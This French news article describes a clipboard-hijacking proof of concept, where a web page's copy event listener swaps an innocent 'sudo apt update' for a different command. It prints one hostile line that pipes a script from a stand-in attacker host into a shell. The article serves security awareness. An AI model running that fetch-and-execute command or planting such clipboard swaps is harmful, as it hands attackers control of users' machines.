Ne copiez-collez pas de commandes à partir de pages Web – vous pouvez vous faire pirater

code

Les programmeurs, administrateurs système, chercheurs en sécurité et amateurs de technologie qui copient-collent des commandes de pages Web dans une console ou un terminal sont avertis qu’ils risquent de voir leur système compromis.

Un technologue montre une astuce simple qui vous fera réfléchir à deux fois avant de copier et de coller du texte à partir de pages Web.

Porte dérobée sur votre presse-papiers ?

Récemment, Gabriel Friedlander, fondateur de la plate-forme de formation à la sensibilisation à la sécurité Wizer, a démontré un piratage évident mais surprenant qui vous empêchera de copier-coller des commandes à partir de pages Web.

Il n’est pas rare que les développeurs débutants comme expérimentés copient les commandes couramment utilisées à partir d’une page Web (ahem, StackOverflow) et les collent dans leurs applications, une invite de commande Windows ou un terminal Linux.

Mais Friedlander prévient qu’une page Web pourrait remplacer secrètement le contenu de ce qui se trouve dans votre presse-papiers, et ce qui finirait par être copié dans votre presse-papiers serait très différent de ce que vous aviez l’intention de copier.

Pire, sans la diligence raisonnable nécessaire, le développeur ne peut se rendre compte de son erreur qu’après avoir collé le texte, auquel cas il peut être trop tard.

Dans une simple preuve de concept (PoC) publiée sur son blog, Friedlander demande aux lecteurs de copier une commande simple que la plupart des administrateurs système et des développeurs connaissent :

Commande PoC à copier-coller
La page HTML de Friedlander avec une simple commande que vous pouvez copier dans le presse-papiers

Maintenant, collez ce que vous avez copié du blog de Friedlander dans une zone de texte ou un bloc-notes, et le résultat risque de vous surprendre :

curl http://attacker-domain:8000/shell.sh | sh

Non seulement vous obtenez une commande complètement différente présente sur votre presse-papiers, mais pour aggraver les choses, elle a un caractère de nouvelle ligne (ou retour) à la fin.

Cela signifie que l’exemple ci-dessus s’exécutera dès qu’il sera collé directement dans un terminal Linux.

Ceux qui collaient le texte avaient peut-être l’impression qu’ils copiaient la commande familière et inoffensive mise à jour sudo apt qui est utilisé pour récupérer des informations mises à jour sur les logiciels installés sur votre système.

Mais ce n’est pas tout à fait ce qui s’est passé.

Qu’est-ce qui cause cela?

La magie réside dans le code JavaScript caché derrière la configuration de la page HTML PoC par Friedlander.

Dès que vous copiez le « sudo apt update » texte contenu dans un élément HTML, l’extrait de code, illustré ci-dessous s’exécute.

Ce qui se passe ensuite est un JavaScript ‘écouteur d’événement‘ en capturant l’événement de copie et en remplaçant les données du presse-papiers par le code de test malveillant de Friedlander :

Code JavaScript PoC
Code JavaScript PoC qui remplace le contenu du presse-papiers

Notez que les écouteurs d’événements ont une variété de cas d’utilisation légitimes en JavaScript, mais ce n’est qu’un exemple de la façon dont ils pourraient être mal utilisés.

« C’est pourquoi vous ne devez JAMAIS copier de commandes coller directement dans votre terminal », prévient Friedlander.

« Vous pensez que vous copiez une chose, mais elle est remplacée par autre chose, comme du code malveillant. Il suffit d’une seule ligne de code injectée dans le code que vous avez copié pour créer une porte dérobée vers votre application. »

« Cette attaque est très simple mais aussi très nocive. »

Une leçon simple, mais néanmoins importante, de la sécurité au quotidien.